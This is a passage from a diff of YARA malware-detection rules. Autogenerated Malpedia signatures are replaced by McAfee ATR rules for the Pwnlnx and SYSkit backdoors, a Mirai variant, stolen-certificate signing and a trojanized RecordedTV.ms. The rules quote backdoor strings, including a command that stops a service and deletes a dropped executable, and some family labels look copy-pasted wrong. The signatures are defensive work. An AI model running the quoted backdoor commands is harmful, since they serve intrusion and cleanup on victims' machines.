??????4883????5BC9C36666662E????????????????554889??534883????E8????????89??488B??????????4881??????????488D????74??66??????75??EB??0F1F????66??????74??488B????483D????????488D????4889??75??4883????5BC9C3E8????????4889??E8????????4883????5BC9C36666662E????????????????554889??534883????E8????????89??488B??????????4881??????????488D????74??66??????75??EB??0F1F????66??????74??488B????483D????????488D????4889??75??4883????5BC9C3E8????????4889??E8????????4883????5BC9C36666662E????????????????554889??41554154534883????E8????????4C8B??????????4989??4981??????????498D??????75??EB??0F1F????4C8B????4981??????????498D??????74??488B??4C89??E8????????85??75??4C89??E8????????488B??E8????????4889??E8????????4883????5B415C415DC9C36666662E????????????????554889??534883????E8????????488B??????????BA????????89??BF????????E8????????4885??74??66????488B??????????488D????48C7??????????E8????????4883????5BC9C30F1F????554889??534883????E8????????488B??????????BA????????89??BF????????E8????????4885??74??66????488B??????????488D????48C7??????????E8????????4883????5BC9C30F1F????554889??534883????E8????????488B??????????BA????????89??BF????????E8????????4885??74??66????488B??????????488D????48C7??????????E8????????4883????5BC9C30F1F????554889??534883????E8????????488B??????????BA????????89??BF????????E8????????4885??74??66????488B??????????488D????48C7??????????E8????????4883????5BC9C30F1F????554889?? }
 
 	condition:
-		7 of them and filesize <862208
+		uint16(0)==0x457f and filesize <400KB and all of them
 }
-rule MALPEDIA_Win_Unidentified_041_Auto : FILE
+import "pe"
+
+rule TRELLIX_ARC_Pwnlnx_Backdoor_Variant_6 : BACKDOOR FILE
 {
 	meta:
-		description = "autogenerated rule brought to you by yara-signator"
-		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "54c40e17-80e5-57a5-babe-281dfc0f14df"
-		date = "2023-12-06"
-		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_041"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.unidentified_041_auto.yar#L1-L133"
-		license_url = "N/A"
-		logic_hash = "72336cc9bc2b4e7b40dbb912cf40721cd5c8d54310aa5ce8f7ef42d8a402b398"
+		description = "Rule to detect the backdoor pwnlnx variant 6"
+		author = "Marc Rivero | McAfee ATR Team"
+		id = "56bfe9c7-4cd4-51f6-a469-da8af52d64c2"
+		date = "2020-04-17"
+		modified = "2020-08-14"
+		reference = "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-decade-of-the-rats.pdf"
+		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/APT/APT_decade_of_RATs.yar#L131-L161"
+		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
+		hash = "d29254ab907c9ef54349de3ec0dd8b22b4692c58ed7a7b340afbc6e44363f96a"
+		logic_hash = "29423135a46ee7b9aa1bd8f1e6f7ffad09725787ad6e75312e1d34b18e3917d4"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		version = "1"
-		tool = "yara-signator v0.6.0"
-		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20231130"
-		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
-		malpedia_license = "CC BY-SA 4.0"
-		malpedia_sharing = "TLP:WHITE"
+		quality = 70
+		tags = "BACKDOOR, FILE"
+		rule_version = "v1"
+		malware_type = "backdoor"
+		malware_family = "Backdoor:W32/Pwnlnx"
+		actor_type = "Cybercrime"
+		actor_group = "Unknown"
 
 	strings:
-		$sequence_0 = { ff761c ff7618 ff7304 e8???????? 8d45bf c645bf0d 50 }
-		$sequence_1 = { 885d9b e9???????? 391f 75c7 385e04 752e }
-		$sequence_2 = { 8b3f 8d44242c 50 53 68???????? 57 6a02 }
-		$sequence_3 = { c645fc02 8b08 52 53 50 ff5118 85c0 }
-		$sequence_4 = { eb05 be57000780 5f 8bc6 5e 5b c20400 }
-		$sequence_5 = { 85c0 7509 56 e8???????? 59 eba7 8d47ff }
-		$sequence_6 = { ff75e0 e8???????? 8b45f0 83c418 2b06 8bce c1f802 }
-		$sequence_7 = { 7430 ff7508 8bfe 33c0 ab ab ab }
-		$sequence_8 = { ff5024 85c0 0f8889040000 33c0 8dbd22fdffff 66898520fdffff ab }
-		$sequence_9 = { 8d8d54ffffff e8???????? 8bc6 e9???????? ff15???????? 50 8d8d28ffffff }
+		$bp = { 7F??4C4602??01??000000000000000001??3E????000000000000000000000000000000000000??????09??00000000000000004000000000??????2B??28??04??000014??000003??0000474E55????4D9585????AB6522????52AD3B??EC9B4BE8????????0000000000000000????00000000554889??????????4889??41544989??534889??488B??????????E8????????4C89??4889??48C7??????????FF??????????488B??????????89??E8????????89??5B415C5DC30F1F??E8????????554889??????????4889??41544989??534889??488B??????????E8????????4C89??4889??48C7??????????FF??????????488B??????????89??E8????????89??5B415C5DC30F1F??E8????????554889??415541544989??534889??4883????488B??????????65??8B????????????4889????31??E8????????4889??4C89??FF??????????488B??????????4189??E8????????488B??????????483D????????488D????75??EB??0F1F??????488B????4881??????????488D????74??0FB7??488D????48C7??????????31??E8????????498B????498B??????488D????488D????????????BA????????E8????????4885??74??4981??????????????488B????65??33????????????4489??75??4883????5B415C415D5DC3E8????????0F1F??E8????????554889??415541544989??534889??4883????488B??????????65??8B????????????4889????31??E8????????4889??4C89??FF??????????488B??????????4189??E8????????488B??????????483D????????488D????75??EB??0F1F??????488B????4881??????????488D????74??0FB7??488D????48C7??????????31??E8????????498B????498B??????488D????488D????????????BA????????E8????????4885??74??4981??????????????488B????65??33????????????4489??75??4883????5B415C415D5DC3E8????????0F1F??E8????????554889??415541544989??534889??4883????488B??????????65??8B????????????4889????31??E8????????4889??4C89??FF??????????488B??????????4189??E8????????488B??????????483D????????488D????75??EB??0F1F??????488B????4881??????????488D????74??0FB7??488D????48C7??????????31??E8????????498B????498B??????488D????488D????????????BA????????E8????????4885??74??4981??????????????488B????65??33????????????4489??75??4883????5B415C415D5DC3E8????????0F1F??E8????????554889??415541544989??534889??4883????488B??????????65??8B????????????4889????31??E8????????4889??4C89??FF??????????488B??????????4189??E8????????488B??????????483D????????488D????75??EB??0F1F??????488B????4881??????????488D????74??0FB7??488D????48C7??????????31??E8????????498B????498B??????488D????488D????????????BA????????E8????????4885??74??4981??????????????488B????65??33????????????4489??75??4883????5B415C415D5DC3E8????????0F1F??E8????????554889??41574589??415641554189??4154534889??4883????488B??????????4889????4889????4C89????483D????????4C8D????74??4C63??EB??0F1F??????498B????483D????????4C8D????74??498B??4C89??4889??E8????????85??75??4883????5B415C415D415E415F5DC30F1F??????????4589??4C8B????488B????4489??4889??488B????FF??????????4883????5B415C415D415E415F5DC3660F1F??????E8????????554889??41574589??41564D89??41554989??41544189??BA????????534889??488D????4883????4889????4889??65??8B????????????4889????31??E8????????488B??????????4881??????????488D????74??0FB7????4839??75??EB??0F1F????????????410FB7????4839??74??4C8B????4981??????????498D????75??4589??4D89??4C89??4489??4889??488B????FF??????????488B????65??33????????????75??4883????5B415C415D415E415F5DC3660F1F??????31??EB??E8????????0F1F??????662E0F1F????????????E8????????55BF????????4889??4881??????????65??8B????????????4889????31??488D??????????FF????????????B9????????4889??488D??????????F3??A5488D??????????48C7??????????BE????????B1??E8????????4885??74??48BA???????? }
 
 	condition:
-		7 of them and filesize <1097728
+		uint16(0)==0x457f and filesize <700KB and all of them
 }
-rule MALPEDIA_Win_Strongpity_Auto : FILE
+import "pe"
+
+rule TRELLIX_ARC_Mirai_Casper_Variant : BACKDOOR FILE
 {
 	meta:
-		description = "autogenerated rule brought to you by yara-signator"
-		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "74f27818-19f0-5cf0-92fb-64e00785ec08"
-		date = "2023-12-06"
-		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.strongpity"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.strongpity_auto.yar#L1-L169"
-		license_url = "N/A"
-		logic_hash = "61a3d3556929a6d92379ea8e74c4d3e507b020fc18a8d58904a2026c1434bfed"
-		score = 60
-		quality = 45
-		tags = "FILE"
-		version = "1"
-		tool = "yara-signator v0.6.0"
-		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20231130"
-		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
-		malpedia_license = "CC BY-SA 4.0"
-		malpedia_sharing = "TLP:WHITE"
+		description = "Rule to detect the Mirai Casper variant"
+		author = "Marc Rivero | McAfee ATR Team"
+		id = "0f3a028c-9514-51cd-ad82-415e8ac2dee7"
+		date = "2020-04-17"
+		modified = "2020-08-14"
+		reference = "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-decade-of-the-rats.pdf"
+		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/APT/APT_decade_of_RATs.yar#L163-L193"
+		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
+		hash = "57cc422a6a90c571198a2d1c3db13c31fbdb48ba2f0f4356846d6d636d0f9300"
+		logic_hash = "5449d1ef0c4977c6151fc194ad5f526b6be414c1efb7fd4bacb77d4bcd89c703"
+		score = 75
+		quality = 70
+		tags = "BACKDOOR, FILE"
+		rule_version = "v1"
+		malware_type = "backdoor"
+		malware_family = "Backdoor:W32/Pwnlnx"
+		actor_type = "Cybercrime"
+		actor_group = "Unknown"
 
 	strings:
-		$sequence_0 = { 50 33c0 d1f9 50 51 53 }
-		$sequence_1 = { 75f8 ff75d0 68???????? ff36 e8???????? }
-		$sequence_2 = { 41 83ea01 75f7 50 e8???????? 59 }
-		$sequence_3 = { e8???????? 8b4608 83c418 6a2f 59 }
-		$sequence_4 = { 8945f8 f7d8 56 57 }
-		$sequence_5 = { 33db c745f804000000 53 ff7710 895df4 ff770c }
-		$sequence_6 = { ba???????? f3a5 8bf2 668b02 83c202 }
-		$sequence_7 = { 83e801 7408 6a02 58 884612 }
-		$sequence_8 = { 0107 83be8800000002 8b07 0f85ad000000 83f814 }
-		$sequence_9 = { 012e 885c240a e9???????? 84db 0f8434020000 }
-		$sequence_10 = { 5f 8d4503 5d 5b 8b4c2428 }
-		$sequence_11 = { 7417 48 7545 39812c020000 7433 8b8124020000 }
-		$sequence_12 = { 5f 8b4c2408 5e 5b }
-		$sequence_13 = { 5f 8d4502 5d 5e 5b 8b4c2468 }
-		$sequence_14 = { 012e 885c240a ebc3 80fb5d 7520 837c240c00 0f85fe020000 }
-		$sequence_15 = { 5f 8bc3 5b c3 8d4638 50 e8???????? }
+		$bp = { 7F??4C4601??01??000000000000000002??03??01??0000E0??04??34??000088??????????000034??20??05????????????????000000000000000080??????80??????15????????0C??05????????10??????0000??????0C??40A510??40A510??80??????904A0000060000000010????????0000D4??0000D4??04??D4??04??440000??????????????000004??0000070000??????0C??40A510??40A510??14??000030??000004??000004??000051E5??64????000000000000000000000000000000000000060000??????000004??000010??000001??0000474E5500000000????0000????0000????0000??????000014??000003??0000474E55??????3A??87????529723????2C??08??????AB35????????2A??0000BC????????0000????A510??2A??0000C4??????????0000C8??????2A??0000CCA510??2A??00005589??5383????E8????????5B81??????????8B??????????85??74??E8????????E8????????E8????????585BC9C3FF??????????68????????E9????????FF??????????68????????E9????????FF??????????68????????E9????????FF??????????68????????E9????????FF??????????68????????E9????????FF??????????68????????E9????????000000000000000031??5E89??83????50545268????????68????????515668????????E8????????F490909090909090909090909090905589??538D??????80????????????75??BB????????A1????????81??????????C1????83????39??73??908D??????83????A3????????FF????????????A1????????39??72??B8????????85??74??C7????????????E8????????C6????????????8D??????5B5DC3908D??????55B8????????89??8D??????E8????????5A81??????????85??74??89??????C7??????????????C7??????????????C7????????????E8????????A1????????85??74??B8????????85??74??C7????????????FF??C9C39090905589??83????8B????88????A1????????85??74??A1????????0FB6????88??83????A3????????EB??C7??????????????8D????89??????C7????????????E8????????C9C35589??83????EB??8B????0FB6??0FBE??83??????89????E8????????8B????0FB6??84??75??C9C35589??83????8B????0FB6??88????83??????80??????0F84????????80??????74??0FBE????89????E8????????E9????????C7????????????8B????0FB6??88????83??????80??????75??C7????????????8B????0FB6??88????83??????EB??80??????75??C7????????????8B????0FB6??88????83??????C7????????????EB??8B????89??C1????01??01??89??0FBE????8D????83????89????8B????0FB6??88????83??????80??????7E??80??????7E??80??????74??80??????75??83??????8B????0FB6??88????83??????80??????0F84????????0FB6????88????80??????7E??0FB6????83????88????0FBE????83????83????0F87????????8B????????????FF??8B????8D????89????8B??89????C7????????????EB??83??????8B????8B????8D????0FB6??84??75??EB??C7????????????E8????????8B????83????85??75??8B????3B????0F92??83??????84??75??8B????89????E8????????EB??C7????????????E8????????8B????3B????0F92??83??????84??75??E9????????8B????8D????89????8B??0FBE??89????E8????????E9????????C7????????????EB??C7????????????EB??C7????????????EB??C7????????????EB??0FBE????89????E8????????E9????????8B????83????85??74??8B????8D????89????8B??EB??80??????75??8B????8D????89????8B??EB??8B????8D????89????8B??89????80??????75??8B????85??79??F7????83??????C7????????????8B????BA????????F7????89??88????8B????BA????????F7????89????80??????7E??80??????75??B8????????EB??B8????????0FB6????01??88????8B????0FB6????83????88??????83??????83??????74??83??????76??8B????83????85??74??8B????C6????????83??????8B????89????8B????83????84??74??B8????????EB??B8????????88????EB??0FBE????89????E8????????8B????83????85??75??8B????3B????0F92??83??????84??75??83??????8B????0FB6??????0FBE??89????E8????????83??????75??EB??C7????????????E8????????8B????3B????0F92??83??????84??75??E9????????E9????????90EB??90C9C35589??83????8D????89????8B????89??????8B????89????E8????????C9C35589??83????8B????8B????88????88????C9C35589??57565381??????????8B????8B????88??????????88??????????C7??????????????????C7??????????????????0FB6??????????C7??????????????C7??????????????8B????89??????89????E8????????89??????????0FB6??????????C7??????????????C7??????????????8B????89??????89????E8????????89??????????0FB6??????????C7??????????????C7??????????????8B????89??????89????E8????????89??????????0FB6??????????C7??????????????C7??????????????8B????89??????89????E8????????89??????????0FB6??????????C7??????????????C7??????????????8B????89??????89????E8????????89??????????0FB6??????????C7??????????????C7??????????????8B????89??????89????E8????????66????????????8D??????????BA????????89??????C7??????????????89????E8????????83????????????0F84????????83????????????0F84????????8B??????????89????E8????????3D????????0F8F????????8B??????????89????E8????????83????0F8F????????8B??????????89????E8????????83????0F8F????????C7??????????????????EB??8B??????????03??????????0FB6??3C??7E??8B??????????03??????????0FB6??3C??7F??8B??????????03??????????8B??????????03??????????0FB6??83????88??8B??????????83????89??????????8B??????????89????E8????????8B??????????39??7F??81??????????????????7E??C7??????????????????C7????????????E8????????C7????????????E8????????C7????????????E8????????C7????????????E8????????C7????????????E8????????C7????????????E8????????C7????????????E8????????C7????????????E8????????C7????????????E8????????C7????????????E8????????C7????????????E8????????8B??????????C7??????????????89????E8????????89??????????C7??????????????????E9????????8B??????????69??????????03??????????C6??????8B??????????69??????????03??????????C7??????????8B??????????69??????????89??03??????????0FB6??????????8B??????????89??C1????F7??89??89??89??01??01??C1????03????8B????89????8B??????????69??????????03??????????8D??????????8B??????????89??????89????E8????????8B??????????69??????????03??????????0FB6??????????3C??74??8B??????????69??????????03??????????05????????89????E8????????8B??????????69??????????03??????????8D??????????8B??????????69??????????03??????????81??????????83????89??????89??????89????E8????????8B??????????69??????????03??????????C6????????????8B??????????69??????????03??????????8D??????????8B??????????89??????89????E8????????8B??????????69??????????03??????????8D??????????8B??????????89??????89????E8????????8B??????????69??????????03??????????8D??????????8B??????????89??????89????E8????????0FB6??????????8B??????????89??C1????F7??89??89??89??01??01??C1????03????0FB6????3C??0F87????????8B??????????69??????????89??03??????????0FB6??????????8B??????????89??C1????F7??89??89??89??01??01??C1????03????8B????89????E8????????89??E8????????89??0FB6??????????8B??????????89??C1????F7??89??89??89??01??01??C1????03????0FB6????0FB6??89??89??D3??89??8D????89????E8????????89????E8????????89??BA????????89??F7??89??C1????89??C1????01??89??29??83????0F87????????8B????????????FF??C7????????????E8????????C7??????????????C7????????????E8????????8B??????????69??????????03??????????83????89??????89????E8????????C7????????????E8????????E9????????C7????????????E8????????C7??????????????C7????????????E8????????8B??????????69??????????03??????????83????89??????89????E8????????C7????????????E8????????E9????????C7????????????E8????????C7??????????????C7????????????E8????????8B??????????69??????????03??????????83????89??????89????E8????????C7???????????? }
 
 	condition:
-		7 of them and filesize <999424
+		uint16(0)==0x457f and filesize <3000KB and all of them
 }
-rule MALPEDIA_Win_Spyder_Auto : FILE
+import "pe"
+
+rule TRELLIX_ARC_APT_Stolen_Certificates : BACKDOOR FILE
 {
 	meta:
-		description = "autogenerated rule brought to you by yara-signator"
-		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "3ab12f00-3358-5020-939c-e2c585a1665c"
-		date = "2023-12-06"
-		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.spyder"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.spyder_auto.yar#L1-L176"
-		license_url = "N/A"
-		logic_hash = "bab678e49456b3f7ffea3f1f145c31d0ca13e5400d7a321bcd98016f59a4377c"
+		description = "Rule to detect samples digitally signed from these stolen certificates"
+		author = "Marc Rivero | McAfee ATR Team"
+		id = "57051977-780c-5c8e-bc66-0f1d8b3bbd93"
+		date = "2020-04-17"
+		modified = "2020-08-14"
+		reference = "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-decade-of-the-rats.pdf"
+		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/APT/APT_decade_of_RATs.yar#L196-L221"
+		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
+		hash = "ce3424524fd1f482a0339a3f92e440532cff97c104769837fa6ae52869013558"
+		logic_hash = "9b700e4889349d0203bdd4e00035ee9c9aba5025ccc57eef915b2c78996f8160"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		version = "1"
-		tool = "yara-signator v0.6.0"
-		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20231130"
-		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
-		malpedia_license = "CC BY-SA 4.0"
-		malpedia_sharing = "TLP:WHITE"
-
-	strings:
-		$sequence_0 = { 4053 4883ec20 8bd9 488d0da5a40000 ff15???????? 4885c0 7419 }
-		$sequence_1 = { 0f8493010000 488d156a5f0000 488bc8 ff15???????? 4885c0 0f847a010000 }
-		$sequence_2 = { 756e 488d4b04 4c8d05563e0000 418d5216 e8???????? 85c0 7437 }
-		$sequence_3 = { eb17 488b5638 498bcc ff5630 b97f000000 ff15???????? }
-		$sequence_4 = { 7422 488d15795e0000 488bce ff15???????? 488bc8 }
-		$sequence_5 = { 496374243c 4903f4 813e50450000 740b b9c1000000 }
-		$sequence_6 = { 7647 498bcd e8???????? 4c8d05478a0000 41b903000000 488d4c45bc 488bc1 }
-		$sequence_7 = { 85c0 7408 8bcb ff15???????? e8???????? 488d15faa20000 }
-		$sequence_8 = { 8b7d0c 8d0540460910 83780800 754e b741 b35a }
-		$sequence_9 = { 50 a3???????? e8???????? 8db6843d0910 bf???????? }
-		$sequence_10 = { 888800490910 eb1f 83f861 7213 83f87a 770e 8088????????20 }
-		$sequence_11 = { 83c424 aa 8d842484000000 6804010000 50 53 }
-		$sequence_12 = { 81e1ffff0000 50 51 68???????? 8d54243c }
-		$sequence_13 = { 68???????? 8d44242c 8d8c2494050000 50 68???????? }
-		$sequence_14 = { b801000000 5b 81c47c150000 c3 5f 5e 33c0 }
-		$sequence_15 = { 0fb6d2 f682014a091004 7403 40 }
+		quality = 70
+		tags = "BACKDOOR, FILE"
+		rule_version = "v1"
+		malware_type = "backdoor"
+		malware_family = "Backdoor:W32/Pwnlnx"
+		actor_type = "Cybercrime"
+		actor_group = "Unknown"
 
 	condition:
-		7 of them and filesize <1458176
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "/C=KR/ST=Seoul/L=Gangnam-gu/O=LivePlex Corp/CN=LivePlex Corp" and pe.signatures[i].serial=="3f:55:42:e2:e7:1d:8d:b3:57:04:1c:9d:d4:5b:95:0a" or pe.signatures[i].subject contains "/C=KR/ST=Seoul/L=Gangnam-gu/O=LivePlex Corp/CN=LivePlex Corp" and pe.signatures[i].serial=="3f:55:42:e2:e7:1d:8d:b3:57:04:1c:9d:d4:5b:95:0a" or pe.signatures[i].subject contains "/C=KR/ST=Seoul/L=Gangnam-gu/O=LivePlex Corp/CN=LivePlex Corp" or pe.signatures[i].serial=="3f:55:42:e2:e7:1d:8d:b3:57:04:1c:9d:d4:5b:95:0a")
 }
-rule MALPEDIA_Win_Unidentified_039_Auto : FILE
+rule TRELLIX_ARC_Chimera_Recordedtv_Modified : TROJAN FILE
 {
 	meta:
-		description = "autogenerated rule brought to you by yara-signator"
-		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "79803854-9c28-5ee4-826a-7f1227d74ba5"
-		date = "2023-12-06"
-		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_039"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.unidentified_039_auto.yar#L1-L126"
-		license_url = "N/A"
-		logic_hash = "58c8fb21d6ae978d62ed7528cfbdb8da381c56d520ca5623fbbc73c80d3173d3"
+		description = "Rule to detect the modified version of RecordedTV.ms found in the Operation Skeleton"
+		author = "Marc Rivero | McAfee ATR Team"
+		id = "b0969713-41a4-550c-9545-f02783fa8d02"
+		date = "2020-04-21"
+		modified = "2020-08-14"
+		reference = "https://medium.com/@cycraft_corp/taiwan-high-tech-ecosystem-targeted-by-foreign-apt-group-5473d2ad8730"
+		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/APT/APT_operation_skeleton.yar#L1-L33"
+		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
+		hash = "66f13964c87fc6fe093a9d8cc0de0bf2b3bdaea9564210283fdb97a1dde9893b"
+		logic_hash = "7165779b66999259a079fa68f898c5f9fb634adcb9d249366d321dff1014184b"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		version = "1"
-		tool = "yara-signator v0.6.0"
-		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20231130"
-		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
-		malpedia_license = "CC BY-SA 4.0"
-		malpedia_sharing = "TLP:WHITE"
+		quality = 70
+		tags = "TROJAN, FILE"
+		rule_version = "v1"
+		malware_type = "trojan"
+		malware_family = "Trojan:W32/RecordedTV"
+		actor_type = "Apt"
+		actor_group = "Unknown"
 
 	strings:
-		$sequence_0 = { b8???????? e8???????? 8365fc00 8365cc00 c745dce7600000 c745ec89640000 }
-		$sequence_1 = { c745f00b090000 c745f089000000 8975c0 c745f4b76e0000 c745fc9e540000 c745f8a7600000 }
-		$sequence_2 = { c74530284c0000 c7453425120000 c745281f480000 c74538136b0000 c74520825d0000 c7451c84360000 8b4530 }
-		$sequence_3 = { 69c9de3f0000 33c1 8945dc 8b4510 8b4d0c 3bc8 7d0c }
-		$sequence_4 = { 8bec 51 51 c745f81d2d0000 c745f8d33a0000 c745fc9a790000 }
-		$sequence_5 = { c745d0e5720000 8b45d0 8b4dd4 0fafc1 8b4dd8 8b55dc }
-		$sequence_6 = { 6bc01f c1e704 83c30c 03fa 33d2 }
-		$sequence_7 = { 69c0295a0000 8945e4 e8???????? c745e0f9750000 c745f0b56c0000 c745ec29110000 }
-		$sequence_8 = { 8d45f4 64a300000000 c3 6a00 6a01 ff74240c }
-		$sequence_9 = { c745e863430000 8b45e4 59 8b4df8 23c1 8b4de8 81e931570000 }
+		$byte = { C0 0E 5B C3 }
+		$s1 = "Encrypted file:  CRC failed in %s (password incorrect ?)" fullword wide
+		$s2 = "EBorland C++ - Copyright 1999 Inprise Corporation" fullword ascii
+		$s3 = " MacOS file type:  %c%c%c%c  ; " fullword wide
+		$s4 = "rar.lng" fullword ascii
 
 	condition:
-		7 of them and filesize <262144
+		uint16(0)==0x5a4d and filesize <900KB and all of them
 }
-rule MALPEDIA_Win_Xxmm_Auto : FILE
+import "pe"
+
+rule TRELLIX_ARC_Syskit : FILE
 {
 	meta:
-		description = "autogenerated rule brought to you by yara-signator"
-		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "2f4f20e9-d761-523e-a241-a1e4f366495b"
-		date = "2023-12-06"
-		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.xxmm"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.xxmm_auto.yar#L1-L120"
-		license_url = "N/A"
-		logic_hash = "0f663d162fed444e7f08fa4fe0acf57f92808d6dc37ba8437dff740dddaf561a"
+		description = "SYSkit backdoor"
+		author = "Christiaan @ McAfee ATR"
+		id = "f06db38f-52d5-51b5-a17f-63e285dd5f80"
+		date = "2019-09-17"
+		modified = "2020-04-02"
+		reference = "https://www.symantec.com/blogs/threat-intelligence/tortoiseshell-apt-supply-chain"
+		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/APT/APT_Tortoiseshell_Syskit.yar#L3-L40"
+		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
+		logic_hash = "5b489d47d56de5c770b6ff6d6d56bf0fb87174f4a8428052b28fb392d9ac3f87"
 		score = 75
-		quality = 75
+		quality = 68
 		tags = "FILE"
-		version = "1"
-		tool = "yara-signator v0.6.0"
-		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20231130"
-		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
-		malpedia_license = "CC BY-SA 4.0"
-		malpedia_sharing = "TLP:WHITE"
+		hash1 = "07d123364d8d04e3fe0bfa4e0e23ddc7050ef039602ecd72baed70e6553c3ae4"
+		hash2 = "f71732f997c53fa45eef5c988697eb4aa62c8655d8f0be3268636fc23addd193"
+		hash3 = "02a3296238a3d127a2e517f4949d31914c15d96726fb4902322c065153b364b2"
 
 	strings:
-		$sequence_0 = { 6a00 ff15???????? 53 57 50 8945fc e8???????? }
-		$sequence_1 = { 6a00 ff55ec ff7650 8bf8 }
-		$sequence_2 = { 8b7c0e20 8b440e24 03f9 03c1 }
-		$sequence_3 = { 897d10 3bdf 7673 8b4508 2bc6 }
-		$sequence_4 = { c3 55 8bec 51 51 8b03 8b08 }
-		$sequence_5 = { 0f84bc000000 397d10 0f84b3000000 3bf7 }
-		$sequence_6 = { 034df8 83c0f8 d1e8 8d7a08 897df4 7450 }
-		$sequence_7 = { 0fb74606 8945e8 85c0 7429 8b47f8 }
-		$sequence_8 = { 3b7114 7303 8bc6 c3 53 0fb75806 57 }
-		$sequence_9 = { 41 4a 75f7 8b5dfc 83c728 837de800 75d7 }
+		$x1 = "timeout /t 10 & sc stop dllhost & timeout /t 10 & del C:\\Windows\\Temp\\BAK.exe" fullword wide
+		$s2 = "lSystem.Resources.ResourceReader, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089#System.Resources.R" ascii
+		$s3 = "C:\\Windows\\Temp\\rconfig.xml" fullword wide
+		$s4 = "Add-Type -AssemblyName System.IO.Compression.FileSystem" fullword wide
+		$s5 = "serviceProcessInstaller1" fullword ascii
+		$s6 = "    [System.IO.Compression.ZipFile]::ExtractToDirectory($zipfile, $outpath)" fullword wide
+		$s7 = "exec_cmd2" fullword ascii
+		$s8 = "exec_cmd" fullword ascii
+		$s9 = "send_command_result" fullword ascii
+		$s10 = "mycontent" fullword ascii
+		$s11 = "Diagnostic Server Host" fullword wide
+		$s12 = "bytesToBeEncrypted" fullword ascii
+		$s13 = "createPostRequest" fullword ascii
+		$s14 = "myhash" fullword ascii
+		$s15 = "DD5783BCF1E9002BC00AD5B83A95ED6E4EBB4AD5" ascii
+		$s16 = "circle_time" fullword ascii
+		$s17 = "ServiceStart_AfterInstall" fullword ascii
+		$s18 = "serviceInstaller1" fullword ascii
+		$s19 = "BAK.ProjectInstaller.resources" fullword ascii
+		$s20 = "Dll host" fullword wide
+		$op0 = { 96 00 f1 0a 57 02 05 00 34 25 }
+		$op1 = { 96 00 83 05 5a 01 0e 00 38 28 }
+		$op2 = { 06 00 00 11 28 4d 00 00 0a 02 6f 4e 00 00 0a 28 }
 
 	condition:
-		7 of them and filesize <540672
+		( uint16(0)==0x5a4d and filesize <50KB and pe.imphash()=="f34d5f2d4577ed6d9ceec516c1f5a744" and (1 of ($x*) and 4 of them ) and all of ($op*)) or ( all of them )
 }
-rule MALPEDIA_Win_Aperetif_Auto : FILE
+rule TRELLIX_ARC_Apt_Elise_Pdb : BACKDOOR FILE
 {
 	meta:
-		description = "autogenerated rule brought to you by yara-signator"
-		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "dd57eb34-4374-5f40-adeb-74673af556ba"
